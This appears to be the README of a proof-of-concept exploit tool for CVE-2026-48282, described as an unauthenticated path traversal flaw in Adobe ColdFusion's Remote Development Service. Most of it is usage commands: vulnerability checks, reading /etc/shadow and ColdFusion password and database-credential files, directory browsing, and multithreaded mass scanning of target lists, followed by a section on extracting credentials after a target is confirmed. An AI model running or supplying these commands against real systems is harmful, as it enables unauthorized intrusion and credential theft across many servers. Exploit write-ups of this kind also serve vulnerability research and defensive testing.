
CVE-2026-48282에 대한 개념 증명 익스플로잇으로, Adobe ColdFusion RDS의 심각한 경로 탐색(path traversal) 취약점을 통해 인증 없이 파일 읽기/쓰기 및 RCE가 가능합니다. 단일 대상 및 멀티스레드 파일 추출을 통한 대량 스캔을 지원합니다.
CVE-2026-48282는 **Adobe ColdFusion의 Remote Development Service (RDS)**에서 발생하는 경로 탐색(path traversal) 취약점으로, CVSS 점수는 **10.0 (Critical)**입니다. 인증되지 않은 공격자가 /CFIDE/main/ide.cfm 엔드포인트를 통해 임의 파일을 읽고 쓸 수 있으며, 이는 **원격 코드 실행(RCE)**으로 이어집니다.
# Clone the repository
git clone https://github.com/<username>/CVE-2026-48282.git
cd CVE-2026-48282
# Install dependencies (only requires `requests`)
pip install -r requirements.txt
# Check vulnerability
python cve-2026-48282.py -t https://target.com --check
# Read files
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read "C:\\Windows\\win.ini"
python cve-2026-48282.py -t https://target.com --read "C:\\ColdFusion2023\\cfusion\\lib\\password.properties"
# Browse directories
python cve-2026-48282.py -t https://target.com --browse "C:\\"
python cve-2026-48282.py -t https://target.com --browse "C:\\inetpub\\wwwroot"
# Basic mass scan
python cve-2026-48282.py -l targets.txt --check
# More threads + save results
python cve-2026-48282.py -l targets.txt --check --threads 30 -o vuln.txt
# Scan + auto-read canary file on any vulnerable target found
python cve-2026-48282.py -l targets.txt --check --read "C:\\Windows\\win.ini" -o results.txt
Once confirmed vulnerable, extract credentials and configuration:
# ColdFusion admin password hash
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\password.properties"
# Database connection strings (neo-query.xml)
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\neo-query.xml"
# Linux targets
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read /etc/shadow
